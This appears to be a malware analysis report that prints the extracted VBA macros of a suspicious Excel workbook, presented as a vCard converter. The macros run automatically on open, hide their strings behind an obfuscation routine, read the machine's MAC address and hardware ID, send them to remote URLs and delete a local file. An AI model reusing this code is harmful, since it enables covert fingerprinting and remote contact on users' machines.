Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error Resume Next
Application.EnableCancelKey = xlDisabled
Dim LK_str As String
Dest_str = l1l1("hbyvmviulr", "vsrbZlZ`")
USAa_str = CreateObject(l1l1("crftycgpdk", "r/%7F+:6Xu+@<4")).SpecialFolders(l1l1("jhcfhqbnlk", "D$*AA>)M7@"))
USAb_b = CreateObject(l1l1("pyfswgzfcn", "y)+D2<EAF/hrC:)#A5A47s8=+,C")).FileExists(USAa_str & l1l1("lvjzqnyudr", "s%") & Dest_str)
USAc_str = CreateObject(l1l1("hxmwqmnbvg", "E'#69DDBW(=786")).SpecialFolders(l1l1("pwhgxbqvqh", "[rQi97IB<1:9"))
USAd_b = CreateObject(l1l1("ycxfaftzjp", "c|34>882D/a!936,PI;2Bq<:62A")).FileExists(USAc_str & l1l1("unjcohjdqj", "z+") & Dest_str)
If USAd_b And Not (USAb_b) Then
Name USAc_str & l1l1("cfivnimtkl", "W7") & Dest_str As USAa_str & l1l1("eeeuugbcii", "V'") & Dest_str
End If
If USAb_b Then
Open USAa_str & l1l1("aiehitlvro", "^*") & Dest_str For Input As #1
Input #1, LK_str: Sheets(l1l1("eeeuugbcii", 12555, 12533, 12553, 12585)).Cells(11, 2) = LK_str
Input #1, ON_str: Sheets(l1l1("kvbbpycfxc", 12556, 12541, 12556, 12587)).Cells(12, 2) = ON_str
Close #1
End If
Dim ProgVer_str As String
Dim URL_str(3) As String
Dim LatestVer_str(3) As String
URL_str(1) = l1l1("tuykxpfecr", "c;FC8;l]Y<H=R2B4-3*[:HA\")
URL_str(2) = l1l1("ntzstyuvno", "T1IEH9qScG-7E8?9C(/9MQ4IH[HE1E9#GL3`3I9:.H0&>A:d=w2G5z5F;cM&:e\^eG/<")
ProgVer_str = l1l1("ewmbxoqgcq", "|^YnS")
On Error Resume Next
For i = 1 To 2
Set urlObj_str = CreateObject(l1l1("tuykxpfecr", "| %'tsd\#q|mx~#"))
urlObj_str.Open l1l1("hyyznvpqfz", "jo |"), URL_str(i), False
urlObj_str.Send
LatestVer_str(i) = Left(urlObj_str.ResponseText, 4)
Set urlObj_str = Nothing
Next i
On Error GoTo 0
If LatestVer_str(1) = "" Then ActiveWorkbook.Close: Exit Sub
If LatestVer_str(2) <> "" Then
If LatestVer_str(2) <> ProgVer_str Then
MsgBox l1l1("ozvkadqidl", 26421, 26078, 29308, 12440, 12441, 12410, 12477, 12467, 12433, 12493) & Chr(13) & Chr(10) & l1l1("aahrwrbhsj", 26403, 26082, 29295, 65347) & Left(LatestVer_str(2), 4)
strURL = l1l1("opywcihnxr", "_.GNHDsWdC,JCC47=5+/=X0F4d@A?HQ0A;2b2;;=CF#'L4?RFm;E>z@H?d<2?4LQF9D")
ActiveWorkbook.FollowHyperlink Address:=strURL, SubAddress:="", NewWindow:=True
ActiveWorkbook.Close
End If
ElseIf Not (USAb_b) Then
ElseIf FileLen(USAa_str & l1l1("yckajnqwai", "B,") & Dest_str) = 0 And Sheets(l1l1("ewmbxoqgcq", 12554, 12534, 12575, 12575)).Cells(13, 1) = l1l1("eeeuugbcii", 12544, 12563, 12490, 12515, 12594) Then
menu_Please.Show
End If
On Error GoTo 0
End Sub


Attribute VB_Name = "Module_vCard"
Sub vCard()
Application.EnableCancelKey = xlDisabled
Dim objNetwork As Object
Dim strNetworkSql As String
Dim strMacAdr As String
strNetworkSql = l1l1("jlbwxyoiuq", "w.kxkpyKXFz#x&B,.5WW9%'=FA76u39CC.9R!jlzxDydub(2I7A:Lo!Ey}zT~~%n")
For Each objNetwork In GetObject(l1l1("kvbbpycfxc", "_C<6=.EK@f")).ExecQuery(strNetworkSql)
zz = objNetwork.MACAddress
strMacAdr = Mid(zz, 16, 2) & Mid(zz, 10, 2) & Mid(zz, 13, 2)
Exit For
Next
Dim oLocator As Object, oService As Object, oCol As Object, prp As Object
Set oLocator = CreateObject(l1l1("wfoegwxbzb", "z1%>B .9DDE0=0g.'13D'7*);EF"))
Set oService = oLocator.ConnectServer
Set oCol = oService.ExecQuery(l1l1("unjcohjdqj", "$""nsse.YbZh,s$R+@@c`.y37;PE>6vRAM6>%6C+I39"))
For Each prp In oCol
If prp.IdentifyingNumber <> "" Then
menu_vCard.TextBox_UID.Text = LCase(l1l1("cfivnimtkl", "v{") & Right(prp.IdentifyingNumber, 6))
Cells(10, 2) = LCase(l1l1("oidqybuuks", "Ef") & Right(prp.IdentifyingNumber, 6))
ElseIf strMacAdr <> "" Then
menu_vCard.TextBox_UID.Text = LCase(l1l1("pwhgxbqvqh", "+g") & strMacAdr)
Cells(10, 2) = LCase(l1l1("qsyvyvovtd", ";r") & strMacAdr)
Else
Cells(10, 2) = LCase(l1l1("rlypsesfvv", "_u"))
End If
Next
Set oCol = Nothing: Set oService = Nothing: Set oLocator = Nothing
Dim ProgVer_str As String
Dim URL_str(4) As String
Dim LatestVer_str(4) As String
URL_str(1) = l1l1("eieamipjzz", "G5:L;<dZh9FEU<A<=1*d8D4\")
URL_str(2) = l1l1("eeeuugbcii", "a3?9>JoPY97A<8D152%.<X;2DSI;+8E9A5,W=A=>4C'5<;Ai:t3=)pFD8Y?0D\\c]992")
ProgVer_str = l1l1("cfivnimtkl", "Io]n]")
On Error Resume Next
For i = 1 To 2
Set urlObj_str = CreateObject(l1l1("jlbwxyoiuq", "T(y%syWY's!x}-r"))
urlObj_str.Open l1l1("hxmwqmnbvg", "@vt'"), URL_str(i), False
urlObj_str.Send
LatestVer_str(i) = Left(urlObj_str.ResponseText, 4)
Set urlObj_str = Nothing
Next i
On Error GoTo 0
If LatestVer_str(1) = "" Then GoTo ende2
If LatestVer_str(2) <> "" Then
If LatestVer_str(2) <> ProgVer_str Then
MsgBox l1l1("gxrlcshfpr", 26411, 26081, 29293, 12447, 12439, 12405, 12484, 12467, 12431, 12473) & Chr(13) & Chr(10) & l1l1("aagdpdgppc", 26422, 26078, 29301, 65347) & Left(LatestVer_str(2), 4)
strURL = l1l1("vxwcnfafvn", "kCDDFMdU[3:FGHD:A0(;>W9;?`N:289%FK7P9S%57;07E@;T;|$B4xI9=[,@;8QaI=?")
ActiveWorkbook.FollowHyperlink Address:=strURL, SubAddress:="", NewWindow:=True
GoTo ende
End If
Dim Maximum_int As String
Dest_str = l1l1("aagdpdgppc", "i#{babYe")
Roy_str = CreateObject(l1l1("pwhgxbqvqh", "e|+)<=DIdu.+39")).SpecialFolders(l1l1("pwhgxbqvqh", "gy=3:@5I<6"))
Done_str = Roy_str & l1l1("rsvidcvxjl", "k'") & Dest_str
AA = Cells(10, 2) <> ""
BB = Trim(Cells(11, 2)) <> "" And Left(Cells(11, 2), 6) = l1l1("ozvkadqidl", "Li_mh[%") And Len(Cells(11, 2)) = 8
CC = Trim(Cells(12, 2)) <> "" And IsNumeric(Cells(12, 2))
If AA And BB And CC Then
URL_str(3) = l1l1("bwwyisrmwz", "G<O>5@nX]&L8?-AE<5d814>4?;3/,3Hb+D>cJ-Ge97") & Trim(Cells(12, 2)) & Cells(10, 2) & l1l1("xypubytdug", "n\?2>")
On Error Resume Next
Set urlObj_str = CreateObject(l1l1("igolnpkkbv", "v}({($d^3""""ywu"""))
urlObj_str.Open l1l1("jhcfhqbnlk", "vvi("), URL_str(3), False
urlObj_str.Send
Maximum_tmp = Left(urlObj_str.ResponseText, 4)
Set urlObj_str = Nothing
On Error GoTo 0
If Maximum_tmp = l1l1("xypubytdug", "hc^Y]") Then
menu_vCard.Label_max.Caption = 5000
Else
menu_vCard.Label_max.Caption = 4
If CreateObject(l1l1("iohudpskkh", ";-9<CKBBC/^s>89)R6A'B#5D=(<")).FileExists(Done_str) And Sheets(l1l1("rsvidcvxjl", "u~0H9#C*,O")).Cells(11, 3) <> Date Then
CreateObject(l1l1("eeeuugbcii", "v}.77GJ+90\w159#BD6.6y:-<(J")).DeleteFile Done_str
End If
End If
Else
menu_vCard.Label_max.Caption = 4
End If
Else
If CreateObject(l1l1("bwwyisrmwz", "J'><.=I3=,di@48$LEK-6s,/4=;")).FileExists(Done_str) Then _
menu_vCard.Label_max.Caption = 5000 Else menu_vCard.Label_max.Caption = 4
End If
If menu_vCard.Label_max.Caption = l1l1("xypubytdug", "#c^Y]") Then
menu_vCard.Label_TrialPeriod.Caption = l1l1("ohjkqxdxfv", 12576, 12496, 12522, 12581, 12517, 12500, 12580, 30365, 37721, 28216)
ElseIf FileExit0_bool Or FileExit_bool Then
menu_vCard.Label_TrialPeriod.Caption = l1l1("jhcfhqbnlk", 20924, 24266, 12340, 35517, 35437, 12473, 12418, 39049, 12400, 33319, 12410, 12468, 12419)
Else
menu_vCard.Label_TrialPeriod.Caption = l1l1("rlypsesfvv", 35519, 35427, 29418, 24965, 65344, 35475, 30032, 65323, 65338, 20264, 12464, 12441, 65324)
End If
LicenseCHKende:
Dim ComboBox_str(50) As String
menu_vCard.Text_FileName.Text = Sheets(l1l1("igolnpkkbv", 12561, 12543, 12552, 12598)).Cells(9, 2)
menu_vCard.TextBox_LicenseKey.Text = Sheets(l1l1("oruzchagfe", 12554, 12535, 12565, 12593)).Cells(11, 2)
menu_vCard.TextBox_OrderNo.Text = Sheets(l1l1("eeeuugbcii", 12555, 12533, 12553, 12585)).Cells(12, 2)
If Sheets(l1l1("ozvkadqidl", 12566, 12537, 12569, 12589)).Cells(13, 2) = l1l1("xypubytdug", "Mws") Then menu_vCard.Browser1.Value = True Else menu_vCard.Browser2.Value = True
Range(l1l1("oidqybuuks", "^gXVq{cj")).ClearContents
GoTo skip_
ComboBox_str(1) = l1l1("yckajnqwai", 30105, 21553)
ComboBox_str(2) = l1l1("ewmbxoqgcq", 21558, 21112, "\b", 23030, "`L")
ComboBox_str(3) = l1l1("jlbwxyoiuq", 21575, 21107, "qT", 26125, 23040, "[N")
ComboBox_str(4) = l1l1("vxwcnfafvn", 21575, 21116, ":W", 21570, "Nb")
ComboBox_str(5) = l1l1("yckajnqwai", 21564, 21127, "JN", 12561, 12532, 12575, "~]")
ComboBox_str(6) = l1l1("ohjkqxdxfv", 12449, 12458, 12407, "kZ", 23039, "`P")
ComboBox_str(7) = l1l1("wlirxzdvrp", 12438, 12455, 12400, "[Z", 26140, 23046, "~R")
ComboBox_str(8) = l1l1("wlirxzdvrp", 12438, 12455, 12400, "^Z", 21570, "}\")
ComboBox_str(9) = l1l1("hxmwqmnbvg", 12441, 12461, 12410, "{N", 12569, 12540, 12568, "`R")
ComboBox_str(10) = l1l1("gzotezdaml", 12542, 12535, 12509, 12544, 12573, 12561)
ComboBox_str(11) = l1l1("aagdpdgppc", 20304, 31084, 21562)
ComboBox_str(12) = l1l1("ntzstyuvno", 37136, 32678)
ComboBox_str(13) = l1l1("lvjzqnyudr", 24481, 32927)
ComboBox_str(14) = l1l1("qsyvyvovtd", 38699, 35487, "-U", 25698, 24158, 65350, "xJ")
ComboBox_str(15) = l1l1("pwhgxbqvqh", 38688, 35496, "vM", 25699, 24162, 65349, "|]")
ComboBox_str(16) = l1l1("ohjkqxdxfv", 38706, 35485, "_W", 21270, 21253, 20847, "jQ")
ComboBox_str(17) = l1l1("aagdpdgppc", 38705, 35487, ">U", 33299, 23477, "cR")
ComboBox_str(18) = l1l1("pyfswgzfcn", 38704, 35480, ";Y", 20067, 30101, 21543, "V`")
ComboBox_str(19) = l1l1("bayjegdczo", 38685, 35493, "'\", 12436, 12450, 20218, 65353, ")b")
ComboBox_str(20) = l1l1("ohjkqxdxfv", 38706, 35485, "CW", 12431, 12442, 20221, 65338, "GK")
ComboBox_str(21) = l1l1("eieamipjzz", 38695, 35478, "!_", 65360, 65353, 65378, "fT")
ComboBox_str(22) = l1l1("rlypsesfvv", 12563, 12579, 12575, 12508, "GN", 25703, 24151, 65332, "iO")
ComboBox_str(23) = l1l1("aiehitlvro", 12558, 12583, 12558, 12497, "[I", 25700, 24156, 65354, "SK")
ComboBox_str(24) = l1l1("qsyvyvovtd", 12561, 12586, 12568, 12490, "yW", 21273, 21242, 20853, "PO")
ComboBox_str(25) = l1l1("aahrwrbhsj", 12548, 12590, 12562, 12491, "EM", 12426, 12434, 20230, "KK")
ComboBox_str(26) = l1l1("cujhedwhbj", 37147, 20451, 30102, 21539, "{^", 33315, 23472, "Fc")
ComboBox_str(27) = l1l1("naaetyzaku", 22323, ";K", 33309, 23485, "mO")
ComboBox_str(28) = l1l1("aiehitlvro", 37162, 36990, 24255, 30523, "AI", 33300, 23474, "Oa")
ComboBox_str(29) = l1l1("lvjzqnyudr", 32716, 24106, 21340, 30066, 26489, "_Q", 33296, 23472, "zQ")
ComboBox_str(30) = l1l1("rlypsesfvv", 20247, 38516, 12450, 20361, 25190, "jU", 33298, 23464, "tO", 65347)
ComboBox_str(31) = l1l1("ewmbxoqgcq", 20238, 38520, 12456, 20338, 25187, "mQ", 33310, 23475, "/Z", 65345)
ComboBox_str(32) = l1l1("yckajnqwai", 37156, 20473, 30096, 21545, "dS", 20302, 31090, "^]")
ComboBox_str(33) = l1l1("jlbwxyoiuq", 22327, "bN", 20294, 31076, "UV")
ComboBox_str(34) = l1l1("bayjegdczo", 37151, 36999, 24272, 30531, "e\", 20286, 31094, "xb")
ComboBox_str(35) = l1l1("jujjqpmpdu", 32711, 24107, 21353, 30056, 26483, ")I", 20284, 31088, "q^")
ComboBox_str(36) = l1l1("eeeuugbcii", 20239, 38519, 12434, 20348, 25206, "n]", 20283, 31080, "fQ", 65343)
ComboBox_str(37) = l1l1("jlbwxyoiuq", 20255, 38515, 12442, 20341, 25197, "FM", 20293, 31084, "kO", 65350)
ComboBox_str(38) = l1l1("agtlixgwnb", 37159, 20468, 30092, 21531, "Ea", 20234, "o\")
ComboBox_str(39) = l1l1("aagdpdgppc", 22323, "TV", 20227, "kR")
ComboBox_str(40) = l1l1("pwhgxbqvqh", 37154, 37002, 24257, 30517, "/[", 20233, ":]")
ComboBox_str(41) = l1l1("agtlixgwnb", 32726, 24119, 21340, 30046, 26506, "%\", 20233, "N]")
ComboBox_str(42) = l1l1("ewmbxoqgcq", 20238, 38520, 12456, 20338, 25187, "CQ", 20234, "^W", 65346)
ComboBox_str(43) = l1l1("gxrlcshfpr", 20240, 38526, 12435, 20359, 25192, "v[", 20240, "u^", 65350)
ComboBox_str(44) = l1l1("tuykxpfecr", 65383, 65379, 65370, 65336)
ComboBox_str(45) = l1l1("eieamipjzz", 65377, 65367, 65379, 65340)
ComboBox_str(46) = l1l1("eieamipjzz", 65377, 65367, 65379, 65341)
ComboBox_str(47) = l1l1("nefewzlmhe", 65376, 65379, 65365, 65343)
ComboBox_str(48) = l1l1("ozvkadqidl", 35530, 30029, 26137)
ComboBox_str(49) = l1l1("naaetyzaku", 12567, 12549)
ComboBox_str(50) = l1l1("rksospugim", 12553, 12579, 12516, 12562, 12574)
ComboBox_str(51) = l1l1("hyyznvpqfz", 65373, 65379, 65356)
ComboBox_str(52) = l1l1("hxmwqmnbvg", 12569, 12520, 12538, 22844, 12545, 12591, 12524)
ComboBox_str(53) = l1l1("puyyapbmgm", 26449, 23496, 32724)
With menu_vCard
For i = 1 To 43
.Box_Number.AddItem ComboBox_str(i)
.Box_Name1st.AddItem ComboBox_str(i)
.Box_NameOri.AddItem ComboBox_str(i)
.Box_Name2nd.AddItem ComboBox_str(i)
.Box_NameMid.AddItem ComboBox_str(i)
.Box_Name1stR.AddItem ComboBox_str(i)
.Box_Name2ndR.AddItem ComboBox_str(i)
.Box_NameMidR.AddItem ComboBox_str(i)
.Box_Company.AddItem ComboBox_str(i)
.Box_Division.AddItem ComboBox_str(i)
.Box_TELmobile1.AddItem ComboBox_str(i)
.Box_TELmobile2.AddItem ComboBox_str(i)
.Box_TELwork.AddItem ComboBox_str(i)
.Box_TELhome.AddItem ComboBox_str(i)
.Box_TELmain.AddItem ComboBox_str(i)
.Box_TELother1.AddItem ComboBox_str(i)
.Box_TELother2.AddItem ComboBox_str(i)
.Box_FAX.AddItem ComboBox_str(i)
.Box_Mailadd1.AddItem ComboBox_str(i)
.Box_Mailadd2.AddItem ComboBox_str(i)
.Box_Mailadd3.AddItem ComboBox_str(i)
.Box_Mailadd4.AddItem ComboBox_str(i)
.Box_PostHome.AddItem ComboBox_str(i)
.Box_Add1Home.AddItem ComboBox_str(i)
.Box_Add2Home.AddItem ComboBox_str(i)
.Box_Add3Home.AddItem ComboBox_str(i)
.Box_Add4Home.AddItem ComboBox_str(i)
.Box_PostWork.AddItem ComboBox_str(i)
.Box_Add1Work.AddItem ComboBox_str(i)
.Box_Add2Work.AddItem ComboBox_str(i)
.Box_Add3Work.AddItem ComboBox_str(i)
.Box_Add4Work.AddItem ComboBox_str(i)
.Box_PostOther.AddItem ComboBox_str(i)
.Box_Add1Other.AddItem ComboBox_str(i)
.Box_Add2Other.AddItem ComboBox_str(i)
.Box_Add3Other.AddItem ComboBox_str(i)
.Box_Add4Other.AddItem ComboBox_str(i)
.Box_URL1.AddItem ComboBox_str(i)
.Box_URL2.AddItem ComboBox_str(i)
.Box_URL3.AddItem ComboBox_str(i)
.Box_URL4.AddItem ComboBox_str(i)
.Box_Memo.AddItem ComboBox_str(i)
.Box_Ver.AddItem ComboBox_str(i)
.Box_UID.AddItem ComboBox_str(i)
Next i
End With
skip_:
menu_vCard.Label_TrialPeriod.Visible = True
menu_vCard.MultiPage.Value = 0
menu_vCard.Show
ende:
On Error Resume Next
URL_str(4) = l1l1("opywcihnxr", "t.GNHDsWdC'JDB8;Ca829?<G(B.5>Gg296[9:%=f1O%%L)XTa]mg9gbg9>C")
Set urlObj_str = CreateObject(l1l1("spsiodfgxc", "|~{{xz^b#$yj}$y"))
urlObj_str.Open l1l1("jlbwxyoiuq", "+""k!"), URL_str(4), False
urlObj_str.Send
LatestVer_str(4) = urlObj_str.ResponseText
Set urlObj_str = Nothing
On Error GoTo 0
ende2:
End Sub



Attribute VB_Name = "menu_vCard"
Attribute VB_Base = "0{F2C08079-46E2-4E1A-85AF-F91A5E469204}{BD6A1394-058F-40E6-BB9A-4C3DA06C573B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public OpenFileName_str As String
Private Sub Button_Exec1_Click()
1:   Dim Maximum_int As String
2:   ItemMAXsu_int = 4
3:   Dim st As Object
4:   Dim LineData_str As Variant
5:   Dim LineData2_str As Variant
6:   Dim vcfItem_str, vcfData_str As Variant
7:   Dim vcf_str(500000) As String
8:   Dim TELother_str(10), TELmobile_str(3), mail_str(5)
9:   Dim PostOther_str(5), Add0Other_str(5), Add1Other_str(5), Add2Other_str(5), Add3Other_str(5), Add4Other_str(5)
10:  Dim URL_str(5)
11:  On Error GoTo myError
12:  Application.EnableCancelKey = xlDisabled
13:  If menu_vCard.Text_FileName.Text = "" Or menu_vCard.Text_FileName.Text = l1l1("hxmwqmnbvg", "Nu1?:@") Then
14:  menu_vCard.Text_FileName.Text = "": ItemMAXsu_int = 4
15:  MsgBox l1l1("xypubytdug", "DE20U;|6A6K", 12535, 12496, 12506, 12562, 12481, 25401, 23501, 12432, 12432, 20032, 12409, 12405, 12326)
16:  GoTo ende
17:  End If
18:  Sheets(l1l1("agtlixgwnb", 12563, 12544, 12551, 12576)).Cells(9, 2) = menu_vCard.Text_FileName.Text
19:  Sheets(l1l1("pwhgxbqvqh", 12487, 12544, 12561, 12514, 24166, 20019, 35291)).Cells.Delete Shift:=xlUp
20:  Sheets(l1l1("yckajnqwai", 12497, 12547, 12562, 12523, 24158, 20020, 35291)).Cells.NumberFormatLocal = l1l1("aahrwrbhsj", "$c")
21:  Sheets(l1l1("cujhedwhbj", 12551, 12527, 12561, 12584)).Cells(15, 2) = 0
22:  Sheets(l1l1("ntlbuoltnt", 12556, 12524, 12558, 12589)).Cells(15, 1) = l1l1("ntlbuoltnt", 26453, 23483, 32722, 12546, 12579, 12570, 12573, 12521)
23:  Sheets(l1l1("unjcohjdqj", 12559, 12532, 12556, 12586)).Range(l1l1("ntlbuoltnt", "(mR_k}lQ")).ClearContents
24:  Undefined_str = "": NoEr_int = Val(menu_vCard.Label_max.Caption): DesKey_str = Sheets(l1l1("aagdpdgppc", "&+4;:$221<")).Cells(1, 1)
25:  Call Module_Sub.Sub_ItemList
26:  Dim OverLineNo_str(100000), MultLineNo_int(100000)
27:  Set st0 = CreateObject(l1l1("bwwyisrmwz", "Zt~xhnb|C7<%D"))
28:  Type_int = 2
29:  st0.Type = Type_int
30:  st0.Charset = l1l1("ntzstyuvno", "h>I7d]")
31:  st0.LineSeparator = 10
32:  st0.Open
33:  st0.LoadFromFile (menu_vCard.Text_FileName.Text)
34:  Do While Not st0.EOS
35:  i = i + 1
36:  LineData_str = st0.ReadText(-2)
37:  LineData_str = Replace(LineData_str, vbCr, "")
38:  LineData_str = Replace(LineData_str, vbLf, "")
39:  LineData_str = Replace(LineData_str, l1l1("oruzchagfe", "Jdoxv~(g!`~|oXj"), "")
40:  If Left(LineData_str, 1) = l1l1("pyfswgzfcn", "]U") Then
41:  i = i - 1
42:  vcf_str(i) = vcf_str(i) + Mid(LineData_str, 2)
43:  Else
44:  vcf_str(i) = LineData_str
45:  End If
46:  Loop
47:  dataSu_int = i
48:  st0.Close
49:  Set st0 = Nothing
50:  For i = 1 To dataSu_int
51:  LineData_str = vcf_str(i)
52:  If LineData_str = l1l1("tuykxpfecr", "ytvupul%me#i") Then
53:  CompWord_str = ""
54:  End If
55:  If Left(LineData_str, 4) = l1l1("jlbwxyoiuq", "[D;24") Or Left(LineData_str, 4) = l1l1("ohjkqxdxfv", ":&{$w") Or Left(LineData_str, 15) = l1l1("opywcihnxr", "l}_-'s#i""#u*t|oz") Then
56:  If Left(LineData_str, 4) = l1l1("rsvidcvxjl", "W4?@6") Then
57:  NewWord_str = Left(LineData_str, InStr(LineData_str, l1l1("crftycgpdk", ".e")) - 1)
58:  If CompWord_str = NewWord_str Then
59:  MultLineNo_int(CompLine_int) = MultLineNo_int(CompLine_int) + 1
60:  Else
61:  CompLine_int = i
62:  CompWord_str = NewWord_str
63:  End If
64:  End If
65:  End If
66:  Next i
67:  Dest_str = l1l1("gxrlcshfpr", "Tw~ZpZcs")
68:  Roy_str = CreateObject(l1l1("iohudpskkh", "&1)-LD>Mbz93A8")).SpecialFolders(l1l1("ntlbuoltnt", "Y '7BG;60M"))
69:  Done_str = Roy_str & l1l1("spsiodfgxc", "+.") & Dest_str
70:  CHKsu_bool = CreateObject(l1l1("aagdpdgppc", "b*2@3A>6:/TxA0;+O=O6Cy868(N")).FileExists(Done_str) = True
71:  If CHKsu_bool Then HouSu_int = 5000 Else HouSu_int = 2 + Type_int
72:  Set sh = Sheets(l1l1("pyfswgzfcn", 12503, 12528, 12573, 12513, 24158, 20016, 35294))
73:  NoEr_int = 20200630 - 20200626
74:  Line_int = 0: Item_int = 1: Error_str = "": Error_int = 0
75:  For Line_int = 1 To dataSu_int
76:  X_ABLabel_str = ""
77:  X_ABADR_str = ""
78:  MultLineNo_tmp = MultLineNo_int(Line_int)
79:  LineData_str = vcf_str(Line_int)
80:  If Trim(LineData_str) = "" Then Exit For
81:  If InStr(LineData_str, l1l1("yckajnqwai", "Bi")) = 0 Then LineData_str = LineData_str & l1l1("unjcohjdqj", "Ah")
82:  LineData_str = Split(LineData_str, l1l1("bwwyisrmwz", "&m"))
83:  LineData_str(0) = UCase(LineData_str(0))
84:  If Left(LineData_str(0), 4) = l1l1("eieamipjzz", "uuy|w") Then LineData_str(0) = Mid(LineData_str(0), InStr(LineData_str(0), l1l1("jhcfhqbnlk", "/]")) + 1)
85:  If (Left(LineData_str(0), 1) <> l1l1("aagdpdgppc", "WV") And LineData_str(1) <> "") Or UBound(LineData_str) > 0 Then
86:  If MultLineNo_tmp > 0 Then
87:  Line_int = Line_int + 1
88:  LineData2_tmp = vcf_str(Line_int)
89:  LineData2_str = Split(LineData2_tmp, l1l1("oidqybuuks", "B_"))
90:  LineData2_str(0) = UCase(LineData2_str(0))
91:  If Right(LineData2_str(0), 9) = l1l1("hxmwqmnbvg", "R(\sh'ton!") Then
92:  X_ABLabel_str = Replace(LineData2_str(1), vbCr, "")
93:  ElseIf Right(LineData2_str(0), 7) = l1l1("hxmwqmnbvg", "-(\sh{w ") Then
94:  X_ABADR_str = Replace(LineData2_str(1), vbCr, "")
95:  Else
96:  LineData_str(0) = LineData2_str(0)
97:  ErrMsg_str = l1l1("tuykxpfecr", "!c")
98:  GoTo myError
99:  End If
100: End If
101: If MultLineNo_tmp > 1 Then
102: Line_int = Line_int + 1
103: LineData2_tmp = vcf_str(Line_int)
104: LineData2_str = Split(LineData2_tmp, l1l1("iohudpskkh", "is"))
105: LineData2_str(0) = UCase(LineData2_str(0))
106: If Right(LineData2_str(0), 9) = l1l1("naaetyzaku", "o/Ptzr#'61") Then
107: X_ABLabel_str = Replace(LineData2_str(1), vbCr, "")
108: ElseIf Right(LineData2_str(0), 7) = l1l1("opywcihnxr", ")}_zyq}z") Then
109: X_ABADR_str = Replace(LineData2_str(1), vbCr, "")
110: Else
111: LineData_str(0) = LineData2_str(0)
112: ErrMsg_str = l1l1("spsiodfgxc", "~c")
113: GoTo myError
114: End If
115: End If
116: If MultLineNo_tmp > 2 Then
117: Line_int = Line_int + 1
118: LineData2_tmp = vcf_str(Line_int)
119: LineData2_str = Split(LineData2_tmp, l1l1("aagdpdgppc", "np"))
120: LineData_str(0) = LineData2_str(0)
121: ErrMsg_str = l1l1("smyjjjcife", "C_")
122: GoTo myError
123: End If
124: vcfItem_str = Split(LineData_str(0), l1l1("rsvidcvxjl", "Ye"))
125: vcfData_str = Split(LineData_str(1), l1l1("wfoegwxbzb", "Rt"))
126: If vcfItem_str(0) = l1l1("ntlbuoltnt", "Ble{") Then
127: If UBound(vcfItem_str) = 2 Then LineData_str(0) = LineData_str(0) & l1l1("ntzstyuvno", "^c"):                    vcfItem_str = Split(LineData_str(0), l1l1("naaetyzaku", "iq"))
128: If UBound(vcfItem_str) = 1 Then LineData_str(0) = LineData_str(0) & l1l1("hxmwqmnbvg", "|j") & l1l1("bwwyisrmwz", "in"):              vcfItem_str = Split(LineData_str(0), l1l1("tuykxpfecr", "<m"))
129: If UBound(vcfItem_str) = 0 Then LineData_str(0) = LineData_str(0) & l1l1("gzotezdaml", "#n") & l1l1("agtlixgwnb", "bm") & l1l1("aahrwrbhsj", "@^"):        vcfItem_str = Split(LineData_str(0), l1l1("crftycgpdk", "Lr"))
130: If UBound(vcfData_str) = 4 Then LineData_str(1) = l1l1("jhcfhqbnlk", "Vj") & LineData_str(1) & l1l1("aagdpdgppc", "jq"):                   vcfData_str = Split(LineData_str(1), l1l1("opywcihnxr", "a`"))
131: If UBound(vcfData_str) = 3 Then LineData_str(1) = l1l1("rlypsesfvv", "Ym") & l1l1("rksospugim", "gt") & LineData_str(1) & l1l1("aahrwrbhsj", "L^"):             vcfData_str = Split(LineData_str(1), l1l1("jhcfhqbnlk", "(j"))
132: If UBound(vcfData_str) = 2 Then LineData_str(1) = l1l1("eeeuugbcii", "*e") & l1l1("naaetyzaku", "Iq") & l1l1("ohjkqxdxfv", "pr") & LineData_str(1) & l1l1("ozvkadqidl", "vp"):       vcfData_str = Split(LineData_str(1), l1l1("opywcihnxr", "m`"))
133: If UBound(vcfData_str) = 1 Then LineData_str(1) = l1l1("rlypsesfvv", "Gm") & l1l1("hbyvmviulr", "*b") & l1l1("agtlixgwnb", "wm") & l1l1("gzotezdaml", "pn") & LineData_str(1) & l1l1("qsyvyvovtd", "^k"): vcfData_str = Split(LineData_str(1), l1l1("opywcihnxr", "l`"))
134: End If
135: If vcfItem_str(0) = l1l1("lvjzqnyudr", "Cmuc""t") Then
136: If UBound(vcfItem_str) = 3 Then LineData_str(0) = LineData_str(0) & l1l1("hxmwqmnbvg", "xj"):                    vcfItem_str = Split(LineData_str(0), l1l1("agtlixgwnb", "Mm"))
137: If UBound(vcfItem_str) = 2 Then LineData_str(0) = LineData_str(0) & l1l1("crftycgpdk", ".r") & l1l1("eieamipjzz", "Dg"):              vcfItem_str = Split(LineData_str(0), l1l1("agtlixgwnb", "%m"))
138: If UBound(vcfItem_str) = 1 Then LineData_str(0) = LineData_str(0) & l1l1("ewmbxoqgcq", "%d") & l1l1("rsvidcvxjl", "Ee") & l1l1("jhcfhqbnlk", "cj"):        vcfItem_str = Split(LineData_str(0), l1l1("iohudpskkh", "jt"))
139: If UBound(vcfItem_str) = 0 Then LineData_str(0) = LineData_str(0) & l1l1("nefewzlmhe", "Zf") & l1l1("jujjqpmpdu", "R^") & l1l1("yckajnqwai", "rj") & l1l1("aiehitlvro", "Yh"):  vcfItem_str = Split(LineData_str(0), l1l1("ewmbxoqgcq", "gd"))
140: If UBound(vcfData_str) = 3 Then LineData_str(1) = l1l1("opywcihnxr", "``") & l1l1("jujjqpmpdu", ":^") & LineData_str(1):              vcfData_str = Split(LineData_str(1), l1l1("ycxfaftzjp", "od"))
